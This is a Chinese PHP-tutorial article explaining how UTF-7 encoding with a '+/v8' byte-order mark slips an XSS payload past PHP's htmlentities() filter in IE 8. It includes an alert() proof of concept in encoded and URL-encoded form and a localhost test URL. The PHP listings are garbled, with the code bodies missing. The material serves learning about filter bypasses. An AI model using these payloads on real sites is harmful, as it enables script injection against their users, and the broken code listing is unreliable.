来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] Test on: IE 8.0vul.php?phpheader(#39;Content-Type: text/html#39;);$string = $_GET[note];echo htmlentities($string); //用htmlentities函数过滤?sec.php?phpheader(#39;Content-Type: te......
Test on: IE 8.0 vul.php <?php <?php <?php header('Content-Type: text/html;charset=UTF-8');?> UTF-7 Bom: 因为没有了编码的限制,我们可以使用另一种不常用的编码(UTF-7)来逃过xss的检测 具体方法: 1.先用我写的encode.php将xss代码进行加密 XSS CODE: <script>alert('90sec')</script> www.2cto.com UTF-7 XSS Encode: +ADw-script+AD4-alert('90sec')+ADw-/script+AD4- 2.将 UTF-7 XSS Encode 添上 UTF-7 Bom 让它成为 UTF-7 的编码 +/v8 +ADw-script+AD4-alert('90sec')+ADw-/script+AD4- Bom 与 Encode 之间有一个空格哦 在bom与encode之间也可以存在其他代码, 如:+/v8 just for fun +ADw-script+AD4-alert('90sec')+ADw-/script+AD4- 3.如果是POST提交,就可以直接把 UTF-7 编码字符提交出去 如果是GET方式,得先把编码字符进行URL转码,因为浏览器会吞掉+号,我就在这儿停了很久 +/v8 +ADw-script+AD4-alert('90sec')+ADw-/script+AD4-的URL代码 %2B%2F%76%38%20%2B%41%44%77%2D%73%63%72%69%70%74%2B%41%44%34%2D%61%6C%65%72%74%28%27%39%30%73%65%63%27%29%2B%41%44%77%2D%2F%73%63%72%69%70%74%2B%41%44%34%2D 测试vul.php: http://127.0.0.1/learn/vul.php?note=%2B%2F%76%38%20%2B%41%44%77%2D%73%63%72%69%70%74%2B%41%44%34%2D%61%6C%65%72%74%28%27%39%30%73%65%63%27%29%2B%41%44%77%2D%2F%73%63%72%69%70%74%2B%41%44%34%2D 效果图:
相关资料: http://shiflett.org/blog/2005/dec/google-xss-example http://shiflett.org/blog/2005/dec/googles-xss-vulnerability http://zh.wikipedia.org/zh-cn/UTF-7 PS:我写的不一定对哦,有错请纠正啦,谢谢 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com